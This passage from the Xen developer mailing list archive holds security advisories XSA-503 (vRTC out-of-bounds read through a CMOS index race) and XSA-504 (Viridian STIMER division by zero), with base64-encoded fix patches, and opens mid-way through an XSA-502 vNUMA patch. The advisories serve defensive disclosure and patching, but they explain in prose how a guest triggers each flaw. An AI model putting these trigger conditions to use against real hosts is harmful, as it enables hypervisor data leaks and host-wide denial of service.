CiAgICAgICAgIH0KIAorICAgICAgICByZWFkX2xvY2soJmQtPnZudW1hX3J3
bG9jayk7CisKKyAgICAgICAgLyoKKyAgICAgICAgICogQ2hlY2sgZC0+dm51
bWEgYWdhaW4gYWZ0ZXIgcmUtYWNxdWlyaW5nIHRoZSBsb2NrIGFzIHdlIGNh
biByYWNlCisgICAgICAgICAqIHdpdGggZG9tYWluIGRlc3RydWN0aW9uLgor
ICAgICAgICAgKi8KKyAgICAgICAgaWYgKCAhZC0+dm51bWEgKQorICAgICAg
ICB7CisgICAgICAgICAgICBBU1NFUlQoZC0+aXNfZHlpbmcpOworICAgICAg
ICAgICAgcmVhZF91bmxvY2soJmQtPnZudW1hX3J3bG9jayk7CisgICAgICAg
ICAgICByYyA9IC1FU1JDSDsKKyAgICAgICAgICAgIGdvdG8gdm51bWFpbmZv
X291dDsKKyAgICAgICAgfQorCiAgICAgICAgIC8qCiAgICAgICAgICAqIENo
ZWNrIGlmIHZudW1hIGluZm8gaGFzIGNoYW5nZWQgYW5kIGlmIHRoZSBhbGxv
Y2F0ZWQgYXJyYXlzCiAgICAgICAgICAqIGFyZSBub3QgYmlnIGVub3VnaC4K
ICAgICAgICAgICovCi0gICAgICAgIHJlYWRfbG9jaygmZC0+dm51bWFfcnds
b2NrKTsKLQogICAgICAgICBpZiAoIGRvbV92bm9kZXMgPCBkLT52bnVtYS0+
bnJfdm5vZGVzIHx8CiAgICAgICAgICAgICAgZG9tX3ZyYW5nZXMgPCBkLT52
bnVtYS0+bnJfdm1lbXJhbmdlcyB8fAogICAgICAgICAgICAgIGRvbV92Y3B1
cyA8IGQtPm1heF92Y3B1cyApCi0tLSBhL3hlbi9pbmNsdWRlL3hlbi9kb21h
aW4uaAorKysgYi94ZW4vaW5jbHVkZS94ZW4vZG9tYWluLmgKQEAgLTE1OSw5
ICsxNTksMTAgQEAgc3RydWN0IHZudW1hX2luZm8gewogfTsKIAogI2lmbmRl
ZiBDT05GSUdfUFZfU0hJTV9FWENMVVNJVkUKLXZvaWQgdm51bWFfZGVzdHJv
eShzdHJ1Y3Qgdm51bWFfaW5mbyAqdm51bWEpOwordm9pZCB2bnVtYV9yZXBs
YWNlKHN0cnVjdCBkb21haW4gKmQsIHN0cnVjdCB2bnVtYV9pbmZvICp2bnVt
YSk7CiAjZWxzZQotc3RhdGljIGlubGluZSB2b2lkIHZudW1hX2Rlc3Ryb3ko
c3RydWN0IHZudW1hX2luZm8gKnZudW1hKSB7IEFTU0VSVCghdm51bWEpOyB9
CitzdGF0aWMgaW5saW5lIHZvaWQgdm51bWFfcmVwbGFjZShzdHJ1Y3QgZG9t
YWluICpkLCBzdHJ1Y3Qgdm51bWFfaW5mbyAqdm51bWEpCit7IEFTU0VSVCgh
dm51bWEpOyB9CiAjZW5kaWYKIAogZXh0ZXJuIGJvb2wgdm10cmFjZV9hdmFp
bGFibGU7Cg==

--=separator
Content-Type: application/octet-stream; name="xsa502-4.21.patch"
Content-Disposition: attachment; filename="xsa502-4.21.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB2TlVNQTogY2xvc2UgcmFjZSB3aW5kb3cgaW4gZG9tYWluIGNsZWFudXAK
CkNhbGxpbmcgdm51bWFfZGVzdHJveSgpIHdpdGhvdXQgYW55IGxvY2tpbmcg
Y2FuIHJhY2UgdGhlIGhhbmRsaW5nIG9mIGJvdGgKWEVOTUVNX2dldF92bnVt
YWluZm8gYW5kIFhFTl9ET01DVExfc2V0dm51bWFpbmZvLiBXaGlsZSB0aGUg
bGF0dGVyIGlzLAp3aXRob3V0IEZsYXNrLCBzdHJpY3RseSBvbmx5IGV4cG9z
ZWQgdG8gdGhlIGNvbnRyb2wgZG9tYWluLCB0aGUgZm9ybWVy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52bnVtYV9y
d2xvY2spOworCisgICAgICAgIC8qCisgICAgICAgICAqIENoZWNrIGQtPnZu
dW1hIGFnYWluIGFmdGVyIHJlLWFjcXVpcmluZyB0aGUgbG9jayBhcyB3ZSBj
YW4gcmFjZQorICAgICAgICAgKiB3aXRoIGRvbWFpbiBkZXN0cnVjdGlvbi4K
KyAgICAgICAgICovCisgICAgICAgIGlmICggIWQtPnZudW1hICkKKyAgICAg
ICAgeworICAgICAgICAgICAgQVNTRVJUKGQtPmlzX2R5aW5nKTsKKyAgICAg
ICAgICAgIHJlYWRfdW5sb2NrKCZkLT52bnVtYV9yd2xvY2spOworICAgICAg
ICAgICAgcmMgPSAtRVNSQ0g7CisgICAgICAgICAgICBnb3RvIHZudW1haW5m
b19vdXQ7CisgICAgICAgIH0KKwogICAgICAgICAvKgogICAgICAgICAgKiBD
aGVjayBpZiB2bnVtYSBpbmZvIGhhcyBjaGFuZ2VkIGFuZCBpZiB0aGUgYWxs
b2NhdGVkIGFycmF5cwogICAgICAgICAgKiBhcmUgbm90IGJpZyBlbm91Z2gu
CiAgICAgICAgICAqLwotICAgICAgICByZWFkX2xvY2soJmQtPnZudW1hX3J3
bG9jayk7Ci0KICAgICAgICAgaWYgKCBkb21fdm5vZGVzIDwgZC0+dm51bWEt
Pm5yX3Zub2RlcyB8fAogICAgICAgICAgICAgIGRvbV92cmFuZ2VzIDwgZC0+
dm51bWEtPm5yX3ZtZW1yYW5nZXMgfHwKICAgICAgICAgICAgICBkb21fdmNw
dXMgPCBkLT5tYXhfdmNwdXMgKQotLS0gYS94ZW4vaW5jbHVkZS94ZW4vZG9t
YWluLmgKKysrIGIveGVuL2luY2x1ZGUveGVuL2RvbWFpbi5oCkBAIC0xODgs
OSArMTg4LDEwIEBAIHN0cnVjdCB2bnVtYV9pbmZvIHsKIH07CiAKICNpZm5k
ZWYgQ09ORklHX1BWX1NISU1fRVhDTFVTSVZFCi12b2lkIHZudW1hX2Rlc3Ry
b3koc3RydWN0IHZudW1hX2luZm8gKnZudW1hKTsKK3ZvaWQgdm51bWFfcmVw
bGFjZShzdHJ1Y3QgZG9tYWluICpkLCBzdHJ1Y3Qgdm51bWFfaW5mbyAqdm51
bWEpOwogI2Vsc2UKLXN0YXRpYyBpbmxpbmUgdm9pZCB2bnVtYV9kZXN0cm95
KHN0cnVjdCB2bnVtYV9pbmZvICp2bnVtYSkgeyBBU1NFUlQoIXZudW1hKTsg
fQorc3RhdGljIGlubGluZSB2b2lkIHZudW1hX3JlcGxhY2Uoc3RydWN0IGRv
bWFpbiAqZCwgc3RydWN0IHZudW1hX2luZm8gKnZudW1hKQoreyBBU1NFUlQo
IXZudW1hKTsgfQogI2VuZGlmCiAKIGV4dGVybiBib29sIHZtdHJhY2VfYXZh
aWxhYmxlOwo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372527.1620045 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZA-0007Bo-UF; Tue, 28 Jul 2026 12:05:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372527.1620045; Tue, 28 Jul 2026 12:05:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZ8-00075e-Vf; Tue, 28 Jul 2026 12:05:46 +0000
Received: by outflank-mailman (input) for mailman id 1372527;
 Tue, 28 Jul 2026 12:05:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYl-00036z-0S; Tue, 28 Jul 2026 12:05:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYk-00Ebq5-9l; Tue, 28 Jul 2026 14:05:22 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689afb-5cb7-0a2a0a5109dd-0a2a45089998-22
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:22 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b00-f659-0a2a45080019-6882d725e092-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:21 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYf-00DPEI-27;
 Tue, 28 Jul 2026 12:05:17 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYf-003DpD-15;
 Tue, 28 Jul 2026 12:05:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 503 v2 (CVE-2026-62430) - x86:
 Out-of-bounds read in vRTC emulation
Message-Id: <E1wogYf-003DpD-15@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:17 +0000
X-purgate-ID: tlsNG-c1860d/1785240322-DFAD487B-A38BD2BE/0/0
X-purgate-type: clean
X-purgate-size: 9217

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62430 / XSA-503
                               version 2

               x86: Out-of-bounds read in vRTC emulation

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

Accesses to the CMOS memory contents are done using an indirect IO port
pair.  Therefore Xen needs to cache the guest chosen index, and one of
the usages of the index didn't take the necessary locking to avoid
concurrent changes.  As a result, a guest could change the index after
it being checked, causing a subsequent out-of-bound read access to the
contents of an array.

IMPACT
======

An attacker can read out-of-bounds, this is limited to Xen data, and not
data belonging to other guests.

VULNERABLE SYSTEMS
==================

All Xen versions from 3.2 onwards are vulnerable.  Xen versions 3.1 and
earlier are not vulnerable.

MITIGATION
==========

Running only PV or PVH guests will avoid the vulnerability.

RESOLUTION
==========

Applying the appropriate attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa503.patch           xen-unstable - Xen 4.19.x
xsa503-4.18.patch      Xen 4.18.x - Xen 4.17.x

$ sha256sum xsa503*
86ffb287767aa410e2c6b970db5167d743ca3c788b43522d46d06f41caead929  xsa503.patch
3a09ea83f092ade72c8d107c91b480f44e5c865d7f36306db8490403db9aa7ed  xsa503-4.18.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrgMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZMg8H/0FuxuDZLnfvFfa8uGtWBokPW93kxSjCoPG3obbR
pJ4IqULRNrdMQfo+3ssrppoH41/ADzatAkbB6seW7UWhVmXCFBE19ZELGXtkn1bh
GU68jjUq4u4BgQSIXsapcN2wNPahVOnD8+N5dayb+/zde8aBST10xhT3tmvNnR5k
dI4t1W3LOXqO4QPXKua7ipLGzTnnzkgHflssYbyclmL2qq82frDUCl5Kf8EDkzhC
I2YigSVjYsreQHIYUpeGADB7/Xpr/ARnqaWi2cB9O3FhlkvJDIWOAR3fUuIfZnim
ASzMZSPwRQ8Mo2TuzSSXjG2oIVkZy8+6thia9cZLuP18UzY=
=UuFk
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa503.patch"
Content-Disposition: attachment; filename="xsa503.patch"
Content-Transfer-Encoding: base64

RnJvbSA5Mjg4NTA3NmVkNmVhM2E2NTJiMDE0M2NlMTEyNTgyZjkxOTMyYjEz
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSb2dlciBQYXUgTW9u
bmUgPHJvZ2VyLnBhdUBjaXRyaXguY29tPgpEYXRlOiBGcmksIDEwIEp1bCAy
MDI2IDE1Oj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ICAgKnZhbCA9
IHJ0Y19pb3BvcnRfcmVhZCh2cnRjKTsKKyAgICBlbHNlIGlmICggcnRjX2lv
cG9ydF9yZWFkKHZydGMsIHZhbCkgKQogICAgICAgICByZXR1cm4gWDg2RU1V
TF9PS0FZOwotICAgIH0KIAogICAgIHJldHVybiBYODZFTVVMX1VOSEFORExF
QUJMRTsKIH0KLS0gCjIuNTMuMAoK

--=separator
Content-Type: application/octet-stream; name="xsa503-4.18.patch"
Content-Disposition: attachment; filename="xsa503-4.18.patch"
Content-Transfer-Encoding: base64

RnJvbSAyNjQ1MmUyODllYjZmNjRlODVkNjMwYzA2YTlmM2RlN2QwMTg4Y2Q3
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSb2dlciBQYXUgTW9u
bmUgPHJvZ2VyLnBhdUBjaXRyaXguY29tPgpEYXRlOiBXZWQsIDE1IEp1bCAy
MDI2IDEyOjQ0OjM3ICswMjAwClN1YmplY3Q6IHg4Ni92cnRjOiBmaXggcmFj
ZSBpbiBDTU9TIGluZGV4IGNoZWNraW5nCk1JTUUtVmVyc2lvbjogMS4wCkNv
bnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOApDb250ZW50
LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0CgpEbyB0aGUgY2hlY2tpbmcgZm9y
IGEgdmFsaWQgQ01PUyBpbmRleCB3aGlsZSBob2xkaW5nIHRoZSBzcGlubG9j
aywKb3RoZXJ3aXNlIHRoZSB2YWx1ZSBjb3VsZCBiZSBjaGFuZ2VkIGJ5IHRo
ZSBndWVzdCBhZnRlciBoYXZpbmcgYmVlbgpjaGVja2VkLgoKVGhpcyBpcyBY
U0EtNTAzIC8gQ1ZFLTIwMjYtNjI0MzAuCgpGaXhlczogMzRiZWYwZTZkNWY0
ICgiaHZtOiBBZGQgbG9ja2luZyB0byBwbGF0Zm9ybSB0aW1lcnMuIikKU2ln
bmVkLW9mZi1ieTogUm9nZXIg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AgICBzcGluX3VubG9jaygmcy0+bG9jayk7CisgICAgICAgIHJl
dHVybiBmYWxzZTsKKyAgICB9CisKICAgICBzd2l0Y2ggKCBzLT5ody5jbW9z
X2luZGV4ICkKICAgICB7CiAgICAgY2FzZSBSVENfU0VDT05EUzoKQEAgLTY5
Niw3ICs3MDQsOSBAQCBzdGF0aWMgdWludDMyX3QgcnRjX2lvcG9ydF9yZWFk
KFJUQ1N0YXRlICpzLCB1aW50MzJfdCBhZGRyKQogCiAgICAgc3Bpbl91bmxv
Y2soJnMtPmxvY2spOwogCi0gICAgcmV0dXJuIHJldDsKKyAgICAqdmFsID0g
cmV0OworCisgICAgcmV0dXJuIHRydWU7CiB9CiAKIHN0YXRpYyBpbnQgY2Zf
Y2hlY2sgaGFuZGxlX3J0Y19pbygKQEAgLTcxNiwxMSArNzI2LDggQEAgc3Rh
dGljIGludCBjZl9jaGVjayBoYW5kbGVfcnRjX2lvKAogICAgICAgICBpZiAo
IHJ0Y19pb3BvcnRfd3JpdGUodnJ0YywgcG9ydCwgKHVpbnQ4X3QpKnZhbCkg
KQogICAgICAgICAgICAgcmV0dXJuIFg4NkVNVUxfT0tBWTsKICAgICB9Ci0g
ICAgZWxzZSBpZiAoIHZydGMtPmh3LmNtb3NfaW5kZXggPCBSVENfQ01PU19T
SVpFICkKLSAgICB7Ci0gICAgICAgICp2YWwgPSBydGNfaW9wb3J0X3JlYWQo
dnJ0YywgcG9ydCk7CisgICAgZWxzZSBpZiAoIHJ0Y19pb3BvcnRfcmVhZCh2
cnRjLCBwb3J0LCB2YWwpICkKICAgICAgICAgcmV0dXJuIFg4NkVNVUxfT0tB
WTsKLSAgICB9CiAKICAgICByZXR1cm4gWDg2RU1VTF9VTkhBTkRMRUFCTEU7
CiB9Ci0tIAoyLjUzLjAKCg==

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:06:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:06:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372558.1620087 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZL-0000Pv-0v; Tue, 28 Jul 2026 12:05:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372558.1620087; Tue, 28 Jul 2026 12:05:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZI-0000GE-H4; Tue, 28 Jul 2026 12:05:56 +0000
Received: by outflank-mailman (input) for mailman id 1372558;
 Tue, 28 Jul 2026 12:05:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYn-0003Yx-WB; Tue, 28 Jul 2026 12:05:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYn-00Ebq5-7I; Tue, 28 Jul 2026 14:05:25 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b05-5cb7-0a2a0a5109dd-0a2a45039fd6-2
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:25 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b03-fae8-0a2a45030019-6882d725a78e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:25 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYi-00DPEj-20;
 Tue, 28 Jul 2026 12:05:20 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYi-003Drz-0y;
 Tue, 28 Jul 2026 12:05:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 504 v2 (CVE-2026-62431) - Viridian STIMER
 division by zero
Message-Id: <E1wogYi-003Drz-0y@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:20 +0000
X-purgate-ID: tlsNG-33051d/1785240325-6E6CE4E9-78BE6C56/0/0
X-purgate-type: clean
X-purgate-size: 6429

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62431 / XSA-504
                               version 2

                   Viridian STIMER division by zero

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

The logic to handle periodic Viridian STIMERs performs a division with an
unchecked user-controlled divisor value, that can be set to zero to cause a #DE
fault.

IMPACT
======

Enabling Viridian STIMERs to unprivileged HVM guests can result in a Denial
of Service (DoS) affecting the entire host.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.13 onwards are vulnerable.  Xen versions 4.12 and
earlier are not vulnerable.

Only HVM guests with Viridian STIMERs enabled can trigger the vulnerability.

MITIGATION
==========

Not enabling Viridian STIMERs for HVM guests will avoid the vulnerability.

Note Viridian extensions are not enabled by default.

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa504.patch           xen-unstable - Xen 4.17.x

$ sha256sum xsa504*
cc142e53866a27f3c97bd8532f42df2197f9e8e85fb3846b6fcd682d854e5689  xsa504.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches above (or others which are substantially similar) is
permitted during the embargo, even on public-facing systems with untrusted
guest users and administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomroMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZiF4H+QFl08pzXWh5Zd2uOlbjYCaQMoDFeWSGCAkCcG8z
PlKv4yVLPwxUB0W5cPVV61M/fFDgihZh0usNZ/xm5aTt0uhPE31kXItsYRRLPpmg
zbV5OgUgIJxeAABML030lNjlAyLBpVculHAWbyFZdMh/xf0bQc1ty8U/xQDLU+IE
cohmtH8v6WvK2PxTA8nNj39EB9rUcz1gYInLh2QltW14di7+FUHGISxiIr/eNcUv
9d/at8ESSH1WNeSRSr+sbE0dMRxAQgoMa93GvU7sEvuZtdwOnnET8l1nVN/84kXM
sCMq6mjgVDUmSNOH2aBXxewimjp9DV0BLkmliqHrHDKer3s=
=intH
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa504.patch"
Content-Disposition: attachment; filename="xsa504.patch"
Content-Transfer-Encoding: base64

RnJvbSBiM2ZlN2JkM2JmNmMyYWM3MzI0ZWEwYjMzY2E2YWZjMzhkODFmMTU5
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSb2dlciBQYXUgTW9u
bmUgPHJvZ2VyLnBhdUBjaXRyaXguY29tPgpEYXRlOiBGcmksIDEwIEp1bCAy
MDI2IDE1OjE4OjEyICswMjAwClN1YmplY3Q6IHg4Ni92aXJpZGlhbjogZW5z
dXJlIGNvdW50IGlzIGFsd2F5cyBzZXQgd2hlbiBzdGFydGluZyBhIHRpbWVy
Ck1JTUUtVmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsg
Y2hhcnNldD1VVEYtOApDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0
CgpPdGhlcndpc2UgaW4gcGVyaW9kaWMgbW9kZSBhIGRpdmlzaW9uIGJ5IDAg
d291bGQgaGFwcGVuIG9uIHRoZSBzZWNvbmQgY2FsbAp0byBzdGFydF9zdGlt
ZXIoKSB3aGVuIHVzaW5nIHBlcmlvZGljIG1vZGUuCgpOb3RlIHRoYXQgdGhl
IEh5cGVyViBzcGVjaWZpY2F0aW9uIHN0YXRlczogIldyaXRpbmcgdGhlIHZh
bHVlIHplcm8gdG8gdGhlCkNvdW50IHJlZ2lzdGVyIHdpbGwgc3RvcCB0aGUg
Y291bnRlciwgdGhlcmVieSBkaXNhYmxpbmcgdGhlIHRpbWVyLAppbmRlcGVu
ZGVudCBvZiB0aGUgc2V0dGluZyB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aW1l
cngpOwogCisgICAgaWYgKCAhdnMtPmNvdW50ICkKKyAgICB7CisgICAgICAg
IGdwcmludGsoWEVOTE9HX0VSUiwgIlZJUklESUFOIFNUSU1FUiBzdGFydGVk
IHdpdGggMCBjb3VudFxuIik7CisgICAgICAgIEFTU0VSVF9VTlJFQUNIQUJM
RSgpOworICAgICAgICBkb21haW5fY3Jhc2godi0+ZG9tYWluKTsKKyAgICAg
ICAgcmV0dXJuOworICAgIH0KKwogICAgIGlmICggdnMtPmNvbmZpZy5wZXJp
b2RpYyApCiAgICAgewogICAgICAgICAvKgpAQCAtMzY0LDcgKzM3Miw3IEBA
IGludCB2aXJpZGlhbl90aW1lX3dybXNyKHN0cnVjdCB2Y3B1ICp2LCB1aW50
MzJfdCBpZHgsIHVpbnQ2NF90IHZhbCkKIAogICAgICAgICB2cy0+Y29uZmln
LmFzX3VpbnQ2NCA9IHZhbDsKIAotICAgICAgICBpZiAoICF2cy0+Y29uZmln
LnNpbnR4ICkKKyAgICAgICAgaWYgKCAhdnMtPmNvbmZpZy5zaW50eCB8fCAh
dnMtPmNvdW50ICkKICAgICAgICAgICAgIHZzLT5jb25maWcuZW5hYmxlID0g
MDsKIAogICAgICAgICBpZiAoIHZzLT5jb25maWcuZW5hYmxlICkKQEAgLTU3
NSw2ICs1ODMsOSBAQCB2b2lkIHZpcmlkaWFuX3RpbWVfbG9hZF92Y3B1X2N0
eHQoCiAKICAgICAgICAgdnMtPmNvbmZpZy5hc191aW50NjQgPSBjdHh0LT5z
dGltZXJfY29uZmlnX21zcltpXTsKICAgICAgICAgdnMtPmNvdW50ID0gY3R4
dC0+c3RpbWVyX2NvdW50X21zcltpXTsKKyAgICAgICAgaWYgKCAhdnMtPmNv
bmZpZy5zaW50eCB8fCAhdnMtPmNvdW50ICkKKyAgICAgICAgICAgIC8qIFJl
amVjdCBlbmFibGluZyB3aXRoIGEgemVybyBzaW50eCBvciBjb3VudCBmaWVs
ZHMuICovCisgICAgICAgICAgICB2cy0+Y29uZmlnLmVuYWJsZSA9IDA7CiAg
ICAgfQogfQogCi0tIAoyLjUzLjAKCg==

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:06:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:06:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372589.1620127 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZY-0002WI-8f; Tue, 28 Jul 2026 12:06:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372589.1620127; Tue, 28 Jul 2026 12:06:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZU-0002Pj-U6; Tue, 28 Jul 2026 12:06:08 +0000
Received: by outflank-mailman (input) for mailman id 1372589;
 Tue, 28 Jul 2026 12:05:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYr-00049f-Tx; Tue, 28 Jul 2026 12:05:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYr-004Ofp-75; Tue, 28 Jul 2026 14:05:29 +0200
